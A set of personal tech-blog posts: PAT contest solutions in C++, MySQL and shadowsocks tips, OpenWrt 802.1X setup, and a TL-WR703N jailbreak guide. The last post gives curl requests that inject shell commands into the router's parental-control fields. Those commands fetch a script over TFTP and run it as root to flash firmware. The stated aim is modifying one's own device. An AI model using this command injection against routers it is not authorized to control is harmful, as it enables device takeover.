在Word种有个很SB的东西叫做水平线/分割线,就是按连续3个-或者=或者~之类的字符后回车会生成的水平线。具体效果见“Word中简单快速插入各种分隔线及删除分割线的方法”
问题来了,当你想要删去他们的时候,有时候按del键完全不起作用。
这个时候,有个办法,就是用VBA代码(对,那个古老的VB),具体如下:
PAT1037 Magic Coupon (25)
The magic shop in Mars is offering some magic coupons. Each coupon has an integer N printed on it, meaning that when you use this coupon with a product, you may get N times the value of that product back! What is more, the shop also offers some bonus product for free. However, if you apply a coupon with a positive N to this bonus product, you will have to pay the shop N times the value of the bonus product… but hey, magically, they have some coupons with negative N’s!
For example, given a set of coupons {1 2 4 -1}, and a set of product values {7 6 -2 -3} (in Mars dollars M$) where a negative value corresponds to a bonus product. You can apply coupon 3 (with N being 4) to product 1 (with value M$7) to get M$28 back; coupon 2 to product 2 to get M$12 back; and coupon 4 to product 4 to get M$3 back. On the other hand, if you apply coupon 3 to product 4, you will have to pay M$12 to the shop.
Each coupon and each product may be selected at most once. Your task is to get as much money back as possible.
Input Specification:
Each input file contains one test case. For each case, the first line contains the number of coupons NC, followed by a line with NC coupon integers. Then the next line contains the number of products NP, followed by a line with NP product values. Here 1<= NC, NP <= 105, and it is guaranteed that all the numbers will not exceed 230.
Output Specification:
For each test case, simply print in a line the maximum amount of money you can get back.
Sample Input:
4 1 2 4 -1 4 7 6 -2 -3
Sample Output:
43
=====================================================
这道题也没什么技术含量,就是给你一个X列一个Y列,里面要凑出最大的积的和。有个限制条件,就是商品数量有限,所以可以从商品入手。将商品、优惠券全部排序后,从商品的一段开始匹配能产生最大积的优惠券,累计和,如果碰到乘出负数的就掉个头,从末端往回找。因为求快,所以代码写的多了点,估计还能精简…
#include <iostream>
using namespace std;
int compare(const void *a, const void *b)
{
return (*(long*)a > *(long*)b) ? -1 : 1;
}
int main()
{
int NC, NP;
cin >> NC;
long * coupons = new long[NC];
for (int i = 0; i < NC; i++)
{
cin >> coupons[i];
}
cin >> NP;
long * products = new long[NP];
for (int i = 0; i < NP; i++)
{
cin >> products[i];
}
qsort(coupons, NC, sizeof(long), compare);
qsort(products, NP, sizeof(long), compare);
int nc_index = 0;
long bonussum = 0;
for (int i = 0; i < NP; i++)
{
if (nc_index >= NC)
break;
if (products[i] < 0)
break;
long bonus = coupons[nc_index] * products[i];
if (bonus < 0)
break;
bonussum += bonus;
nc_index++;
}
nc_index = NC - 1;
for (int i = NP - 1; i >= 0; i--)
{
if (nc_index < 0)
break;
if (products[i] > 0)
break;
long bonus = coupons[nc_index] * products[i];
if (bonus < 0)
break;
bonussum += bonus;
nc_index--;
}
cout << bonussum;
return 0;
}
里面可以看到,某个监测点耗时还挺长的…不过我的原则是够用就好。如果优惠券数量远多于商品的话,考虑只对商品排序,然后找优惠券就行了;反之亦然。
测试点
| 测试点 | 结果 | 用时(ms) | 内存(kB) | 得分/满分 |
|---|---|---|---|---|
| 0 | 答案正确 | 1 | 256 | 10/10 |
| 1 | 答案正确 | 1 | 256 | 3/3 |
| 2 | 答案正确 | 1 | 352 | 3/3 |
| 3 | 答案正确 | 1 | 348 | 3/3 |
| 4 | 答案正确 | 53 | 2560 | 3/3 |
| 5 | 答案正确 | 1 | 356 | 3/3 |
Mysql 远程连接错误 10061
这个错误是远程服务器拒绝本地连接访问了(并非root账户权限问题,权限的报错是1045)
主要原因可能是
- 服务器防火墙把监听端口(3306)阻止了。不过这种情况比较少见
- 配置文件中绑定了本地回环127.0.0.1,没有绑定外网IP(或0.0.0.0监听所有)
针对问题2,可以检查下列文件:
- /etc/mysql/my.cnf
- /etc/mysql/mysql.conf.d/mysqld.cnf
- /etc/mysql/conf.d/mysql.cnf
- 其他所有cnf后缀的文件都可疑
找到文件中的以下字段
bind-address=127.0.0.1
将其删去,或将bind-address的值改成你的服务器IP地址
然后重启mysql服务
service mysql restart
PAT 1100. Mars Numbers (20)
http://www.patest.cn/contests/pat-a-practise/1100
People on Mars count their numbers with base 13:
- Zero on Earth is called “tret” on Mars.
- The numbers 1 to 12 on Earch is called “jan, feb, mar, apr, may, jun, jly, aug, sep, oct, nov, dec” on Mars, respectively.
- For the next higher digit, Mars people name the 12 numbers as “tam, hel, maa, huh, tou, kes, hei, elo, syy, lok, mer, jou”, respectively.
For examples, the number 29 on Earth is called “hel mar” on Mars; and “elo nov” on Mars corresponds to 115 on Earth. In order to help communication between people from these two planets, you are supposed to write a program for mutual translation between Earth and Mars number systems.
Input Specification:
Each input file contains one test case. For each case, the first line contains a positive integer N (< 100). Then N lines follow, each contains a number in [0, 169), given either in the form of an Earth number, or that of Mars.
Output Specification:
For each number, print in a line the corresponding number in the other language.
Sample Input:
4 29 5 elo nov tam
Sample Output:
hel mar may 115 13
这题没什么技术含量,直接给代码(我写的肯定是史上最长哈哈哈)
#include <cstdlib>
#include <cstdio>
#include <cstring>
using namespace std;
int main()
{
int N;
scanf("%d", &N);
for (int i = 0; i < N; i++)
{
char* inStr = new char[8];
scanf("%s", inStr);
bool isInt = (inStr[0] >= '0' && inStr[0] <= '9');
if (isInt)
{
int value = (int)strtol(inStr, NULL, 10);
int high = value / 13;
int low = value - 13 * high;
switch (high)
{
case 0: break;
case 1: printf("tam"); break;
case 2: printf("hel"); break;
case 3: printf("maa"); break;
case 4: printf("huh"); break;
case 5: printf("tou"); break;
case 6: printf("kes"); break;
case 7: printf("hei"); break;
case 8: printf("elo"); break;
case 9: printf("syy"); break;
case 10:printf("lok"); break;
case 11:printf("mer"); break;
case 12:printf("jou"); break;
default:
break;
}
if (high > 0 && low > 0)
printf(" ");
switch (low)
{
case 0:
if(high < 1)
printf("tret");
break;
case 1: printf("jan"); break;
case 2: printf("feb"); break;
case 3: printf("mar"); break;
case 4: printf("apr"); break;
case 5: printf("may"); break;
case 6: printf("jun"); break;
case 7: printf("jly"); break;
case 8: printf("aug"); break;
case 9: printf("sep"); break;
case 10:printf("oct"); break;
case 11:printf("nov"); break;
case 12:printf("dec"); break;
default:
break;
}
}
else
{
bool nextFlag = true;
int val = 0;
if (strcmp(inStr, "tam") == 0)
val = 1;
else if (strcmp(inStr, "hel") == 0)
val = 2;
else if (strcmp(inStr, "maa") == 0)
val = 3;
else if (strcmp(inStr, "huh") == 0)
val = 4;
else if (strcmp(inStr, "tou") == 0)
val = 5;
else if (strcmp(inStr, "kes") == 0)
val = 6;
else if (strcmp(inStr, "hei") == 0)
val = 7;
else if (strcmp(inStr, "elo") == 0)
val = 8;
else if (strcmp(inStr, "syy") == 0)
val = 9;
else if (strcmp(inStr, "lok") == 0)
val = 10;
else if (strcmp(inStr, "mer") == 0)
val = 11;
else if (strcmp(inStr, "jou") == 0)
val = 12;
val *= 13;
int chr = getchar();
if (chr == ' ')
scanf("%s", inStr);
if (strcmp(inStr, "tret") == 0)
val += 0;
else if (strcmp(inStr, "jan") == 0)
val += 1;
else if (strcmp(inStr, "feb") == 0)
val += 2;
else if (strcmp(inStr, "mar") == 0)
val += 3;
else if (strcmp(inStr, "apr") == 0)
val += 4;
else if (strcmp(inStr, "may") == 0)
val += 5;
else if (strcmp(inStr, "jun") == 0)
val += 6;
else if (strcmp(inStr, "jly") == 0)
val += 7;
else if (strcmp(inStr, "aug") == 0)
val += 8;
else if (strcmp(inStr, "sep") == 0)
val += 9;
else if (strcmp(inStr, "oct") == 0)
val += 10;
else if (strcmp(inStr, "nov") == 0)
val += 11;
else if (strcmp(inStr, "dec") == 0)
val += 12;
printf("%d", val);
}
if (i < N - 1)
printf("\n");
}
return 0;
}
PAT 1077. Kuchiguse (20)
http://www.patest.cn/contests/pat-a-practise/1077
The Japanese language is notorious for its sentence ending particles. Personal preference of such particles can be considered as a reflection of the speaker’s personality. Such a preference is called “Kuchiguse” and is often exaggerated artistically in Anime and Manga. For example, the artificial sentence ending particle “nyan~” is often used as a stereotype for characters with a cat-like personality:
- Itai nyan~ (It hurts, nyan~)
- Ninjin wa iyada nyan~ (I hate carrots, nyan~)
Now given a few lines spoken by the same character, can you find her Kuchiguse?
这个题目就是到着找最长相同子串,没啥难度,用char数组操作很方便,直接给代码
#include <iostream>
#include <string.h>
using namespace std;
bool tryMoveForward(int N, char** sentences, int* posPtr, bool &contFlag)
{
//尝试当前位置的字符是否相同
char chr = sentences[0][posPtr[0]];
bool flag = true;
int i = 0;
while(i < N)
{
if (sentences[i][posPtr[i]] != chr)
{
flag = false;
break;
}
i++;
}
if (flag)
{
//Move forward
for (i = 0; i < N; i++)
{
posPtr[i] --;
if (posPtr[i] <0)
contFlag = false;
}
}
return flag;
}
int main()
{
int N;
cin >> N;
char **sentences = new char*[N]; //存储句子
int* posPtr = new int[N]; //当前位置指针
//int maxSuffixStartPos = 0; //最长子串起始位置(距离最后一个字符)
cin.ignore(1);
for (int i = 0; i < N; i++)
{
sentences[i] = new char[257];
//cin >> sentences[i];
cin.getline(sentences[i], 257);
posPtr[i] = strlen(sentences[i]) - 1;
}
bool contFlag = true;
while (contFlag)
{
bool movFlag = tryMoveForward(N, sentences, posPtr, contFlag);
contFlag &= movFlag;
}
//读取最长字串
int longSufPos = posPtr[0];
if (longSufPos == strlen(sentences[0]) - 1)
cout << "nai";
else
{
char* result = sentences[0] + longSufPos + 1;
cout << result;
}
return 0;
}
PAT 1017. Queueing at Bank (25)
PATEST链接地址:http://www.patest.cn/contests/pat-a-practise/1017
Suppose a bank has K windows open for service. There is a yellow line in front of the windows which devides the waiting area into two parts. All the customers have to wait in line behind the yellow line, until it is his/her turn to be served and there is a window available. It is assumed that no window can be occupied by a single customer for more than 1 hour.
Now given the arriving time T and the processing time P of each customer, you are supposed to tell the average waiting time of all the customers.
此题主要是要注意几个点:
- 8点之前到的顾客要等8点开门
- 17点之后到的顾客就不能进入了(不算入平均时间),但是17点之前到的,可以拖到17点之后完成
有两种思路,一种是像http://www.cnblogs.com/Rafy/archive/2012/03/20/2408419.html一样按照一秒一秒tick,还有一种是我的思路,把客户按照时间顺序排序,然后一个个“喂”给窗口。
窗口只需记录当前任务能完成的时间点T1。客户进入时间为T0。喂给窗口时就两个状况:
- 如果窗口现在有工作,那等待的时间就是T1-T0;
- 如果窗口现在空置(T1<T0),那么等待时间为0;
代码如下
#include <cstdio>
#include <algorithm>
using namespace std;
struct Customer
{
int comeInTime; //到达时间(秒)
int processingTime; //处理时间(秒)
};
int* nextAvailableTime; //窗口的下个可用时间点,用秒记录
Customer* customers;
int N, K, N_valid;
int compareCustomers(const void* c1, const void* c2)
{
//时辰早的排在前面
Customer* C1 = (Customer*)c1;
Customer* C2 = (Customer*)c2;
return C1->comeInTime - C2->comeInTime;
}
int getNextAvailable(Customer c)
{
//找到下个可用窗口,返回等待时间
int minTime = 100000; //这个值不能是17:00:00(61200),至少得是86400,因为有可能17点之前来的顾客会等到17点之后...;
int minIndex = -1;
for (int i = 0; i < K; i++)
{
if (nextAvailableTime[i] < minTime)
{
minTime = nextAvailableTime[i];
minIndex = i;
}
}
if (nextAvailableTime[minIndex] < c.comeInTime)
{
//之前就已经空窗;
nextAvailableTime[minIndex] = c.comeInTime + c.processingTime;
return 0;
}
else
{
int waitTime = nextAvailableTime[minIndex] - c.comeInTime;
nextAvailableTime[minIndex] += c.processingTime;
return waitTime;
}
}
int main()
{
scanf("%d %d", &N, &K);
customers = new Customer[N];
nextAvailableTime = new int[K];
for (int i = 0; i < K; i++)
nextAvailableTime[i] = 8 * 3600; // 8:00:00
N_valid = N;
for (int i = 0; i < N_valid; i++)
{
int hh, mm, ss, procTime;
scanf("%d:%d:%d %d", &hh, &mm, &ss, &procTime);
if (hh >= 17 && mm >= 0 && ss > 0)
{
N_valid--;
i--;
continue;
}
else
{
customers[i].comeInTime = hh * 3600 + mm * 60 + ss;
if (procTime > 60)
procTime = 60;
customers[i].processingTime = procTime * 60;
}
}
//对有效顾客排序
qsort(customers, N_valid, sizeof(Customer), compareCustomers);
int waitTimeSum = 0; //(秒)
for (int i = 0; i < N_valid; i++)
{
waitTimeSum += getNextAvailable(customers[i]);
}
float waitTimeAvg = waitTimeSum / 60.0 / (float)N_valid;
printf("%.1f", waitTimeAvg);
return 0;
}
| 测试点 | 结果 | 用时(ms) | 内存(kB) | 得分/满分 |
|---|---|---|---|---|
| 0 | 答案正确 | 1 | 256 | 12/12 |
| 1 | 答案正确 | 1 | 256 | 3/3 |
| 2 | 答案正确 | 1 | 256 | 3/3 |
| 3 | 答案正确 | 1 | 368 | 3/3 |
| 4 | 答案正确 | 1 | 360 | 2/2 |
| 5 | 答案正确 | 5 | 364 | 2/2 |
DO的服务器免费余额快要到期了,最近访问速度越来越慢,因此决定从DigitalOcean更换为Vultr日本服务器。
感觉速度快了不少,特此纪念。
如何更新Shadowsocks (服务器端)
如果你是私人假设的shadowsocks的话,可以通过pip来进行更新(当然前提是你用pip安装的,不然请先卸载掉原来的版本啦)。
利用PIP安装的教程见https://github.com/shadowsocks/shadowsocks/wiki/Shadowsocks-%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E
命令就一行
pip install -U shadowsocks
如果提示是这样的话,说明已经是最新版本了。
Requirement already up-to-date: shadowsocks in /usr/local/lib/python2.7/dist-packages Cleaning up...
不然的话就会自己更新了…
如果有更新的话,记得重启你的shadowsocks服务~具体看wiki,因为配置不尽相同,这边就不写了https://github.com/shadowsocks/shadowsocks/wiki
本文主要介绍如何使用基于OpenWrt的路由器进行802.1X有线网登录验证(即作为802.1X 客户端)。
This post tells my experience on trying to connect to a wired network at Singapore University of Technology and Design (SUTD) by using a OpenWrt-powered router (a modified TPLink WR-703n).
Prerequisites
What you need is a router which runs OpenWrt (or other unix-based OS like dd-wrt). For me I have a hardware-hacked TPLink Wr703n (technically it was a WR-702n but their mainboards are same). My modified router has 64 MB ram and 8MB ROM, which allows me to install and run OpenWrt (currently version 14.04) and some necessary apps.
You should know the fundamental about OpenWrt. If not, please visit https://wiki.openwrt.org/ for help.
Steps
Before start, please do not power off your device unless it’s requested explicitly.
First, build up a SSH connection to your router, for me on Windows, I connect my router (192.168.1.1) via Putty.
If this is the first time that you log in via SSH terminal, you should firstly set up the root password at http://192.168.1.1/ on your internet browser (this IP address might vary on different devices)
Remove wpad-mini
We will have to remove the mini version of wpad (wpad = wpa_supplicant + hostapd) since it is not powerful enough to handle a 802.1X authentication. So on your SSH terminal, after you’ve successfully logged in, type this
opkg remove wpad-mini
Install wpad
Then install the full version of wpad, you may download it from
https://downloads.openwrt.org/barrier_breaker/14.07/ar71xx/generic/packages/base/wpad_2014-06-03.1-3_ar71xx.ipk
and you must find a way to transfer it to your router. For me I choose HFS (http://www.rejetto.com/hfs/) to build a small http file server on my personal computer. and then I use the ‘wget’ commend to download the file
cd /tmp wget http://YOUR_HFS_SERVER_IP/wpad_2014-06-03.1-3_ar71xx.ipk
then install it
opkg install wpad_2014-06-03.1-3_ar71xx.ipk
OR if you have Internet connection on your router (oh you must be kidding) you can directly type
opkg update opkg install wpad
Configuration
(For wr-703n only)
You may need to set up a wireless connection on your router first, please search on Google to enable your WiFi port. Or you may explore the ‘Network’ –> ‘Wifi’ page, it’s easy to get started!
By default, OpenWrt uses the only ethernet port on the little wr-703n as a LAN port, buy in this time we need to set it to a WAN port. It means that we’ll use an Ethernet wire to connect the world, and use the wireless signal to connect your devices, e.g. your laptops, cellphones, pads…
[INTERNET] <—-wired conn.—> [ROUTER] <—-wireless conn.—-> [DEVICES]
This configuration can be easily done on OpenWrt’s web interface, visit http://YOUR_ROUTER’s_IP/ (for me it is 192.168.1.1 ) on your browser and enter your password.
Then go to ‘Networks’ –> ‘Interfaces’, there should be only one interface called ‘LAN’. And we need to add the ‘wan’ interface. so click on the button ‘Add new interface’ below ![]()
Then set it as follow:
and click ‘submit’.
Next, we need to cease the bond between port eth0 and interface LAN. Turn back to the interface page, and click the ‘Edit’
on LAN interface.
Then click on the ‘Physical Settings’ page 
and set the physical ports binding as follow (Un-tick ‘eth0’ and tick wireless network):

then click on ‘Save and Apply’ button in the bottom.![]()
Then restart your router.
NOTICE: From now on you can only connect your router through wireless connection, the Ethernet port is set as a WAN port.
wpa_supplicant
The next step is to set up 802.1X authentication.
The wpa_supplicant module will be used to maintain the authentication process, so we need a configuration file first.
Type these in your monitor to start vi (a built-in text editor):
vi /etc/config/wpa.conf
then key in ‘i’ to start the insert mode. Copy the following text
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=root
ap_scan=0
network={
key_mgmt=IEEE8021X
eap=MSCHAPV2 #THIS LINE IS IMPORTANT!
eapol_flags=0
identity="YOUR USERNAME"
password="YOUR PASSWORD"
phase1="peaplabel=1"
phase2="auth=MSCHAPV2" #THIS LINE MAYBE USELESS
}
and then, on your puppy terminal, use the right button of your mouse to paste them into vi text editor. Next, press ‘Ese’ button on your keyboard and input :wq to quit vi editor with the file written to your router.
Connection
Finally it’s time to build up connection, first unplug your Ethernet wire from the router if you’ve did so.
Then in the putty terminal, type
killall wpa_supplicant # Kill all wpa_supplicant programs on-the-run wpa_supplicant -D wired -i eth0 -c /etc/config/wpa.conf &
The second line is the key, it tries to authenticate with the server using your configuration file on the wired port eth0.
And now please plug your Ethernet wire into the router, then the best part starts like this…

Once you see ‘SUCCESS’ in those output you may press the Enter key to resume from shell execution.
It’s done.
In case you may encounter some error in the process, try change the parameters in your configuration file because not all 802.1x are the same. I once faced the credential error then found out that it’s the bad parameter in the ‘EAP’ setting.
#eap=PEAP # It was PEAP but turns out to be a failure eap=MSCHAPV2 # This is the right thing to bypass credentials
Enable Service Autostart
Here are the scripts to auto-startup the 802.1x auth after the router finished booting. In your puppy terminal, type
vi /etc/init.d/wpa
Then push ‘I’ button on the keyboard to insert
#!/bin/sh /etc/rc.common
START=99
start() {
echo start
wpa_supplicant -D wired -i eth0 -c /etc/config/wpa.conf &
}
and push ‘Esc’, and type in :wq to quit the editor.
Back to the command terminal, type in
chmod +x /etc/init.d/wpa chmod 755 /etc/init.d/wpa /etc/init.d/wpa enable # Enable autostart
References
- WRT160NL Wired 802.1x PEAP surfnet/Eduroam/securew2 wpa_supplicant
- TL-WR703N路由刷DD-WRT自制系统登录802.1X
- 无线路由器上安装OpenWRT,在需要标准802.1x认证的网络中无线上网
- Init Scripts
- Google keywords: OpenWrt eduroam 802.1x MSCHAP
WR703n v1.7 破解openwrt(提示“密码错误”等问题的解决)
英文请参考:http://wiki.openwrt.org/toh/tp-link/tl-wr703n#tftp_install_necessary_on_v17_hardware
转载本文请注明来自http://boweihe.me/?p=1680
[写在最前]如果你在破解过程中遇到HTML返回(中文)错误提示
有一部分人(包括我)遇到了,在执行第二个curl命令的时候,返回一段不正确的HTML代码的问题(主要内容是密码错误的提示页面,会说什么Caps Lock之类的)。这个问题是由于你更改了默认的路由器模式(比如AP模式)无法开启家长控制功能,解决办法是,重置路由器设置(捅RESET洞洞,或者Web界面里头选重置)。
准备工具
本教程主要介绍Windows下面用到的工具,因为UNIX类的系统其实Terminal底下都能搞定这事儿…噗
- cURL工具,http://curl.haxx.se/download.html
- TFTP工具,http://tftpd32.jounin.net/tftpd32_download.html
- (可选)本教程中TFTP底下的那些文件,包括BusyBox,分离出的固件等。链接:http://pan.baidu.com/s/1qWvfp7I 密码:y1vw
- dd for windows: http://uranus.chrysocome.net/linux/rawwrite/
准备Hack文件
BusyBox Binary
使用curl下载BusyBox的二进制文件:
curl http://busybox.net/downloads/binaries/latest/busybox-mips > busybox
OpenWrt固件
下载OpenWrt固件
curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
然后拆成两部分
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576 dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576
aa文件(bash)
新建一个叫aa的文件,别忘了讲下面的192.168.0.9 替换成你电脑的内网IP地址(路由器分配给你电脑的内网IP)
cd /tmp tftp -gl i1 192.168.0.9 tftp -gl i2 192.168.0.9 tftp -gl busybox 192.168.0.9 chmod 755 busybox ./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync ./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync ./busybox reboot -f
至此,你的目录下应该有5个文件
-
openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
-
busybox
-
i1
-
i2
-
aa
刷写OpenWrt
[警告]以下步骤可能导致你的路由器变砖,请确认当前的路由器固件版本是3.17.1 Build 140120. 下述全过程请勿断开连接或是断开电源,本人不对产生的任何后果负责!另外,每一步都很重要,别忽略其中任何一步。
以下步骤中,请替换 192.168.0.9 为你电脑的内网IP, 替换 192.168.0.100 为你路由器的IP地址 (WR703N的,一般是192.168.1.1).
修改密码为admin42
这个步骤只会更改路由器家长控制的默认密码,刷完openwrt之后会恢复为openwrt的默认密码的
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.0.100/'
启用家长控制(利用漏洞)
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm' 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'
开启电脑上的TFTP服务器
开启TFTP服务器,如果用tftp32的话:
- 设置Current Directory为那个含有5个文件都目录;
- 设置Server interfaces为你电脑的内网IP地址(一般情况下是192.168.1.x)
刷固件
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.0.9;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'
请等待路由器自动重启(重启后会加载openwrt,路由器状态灯会闪烁一会儿)
上述步骤其实会远程调用tftp里头存储的aa文件(脚本),进而执行脚本中的刷机命令
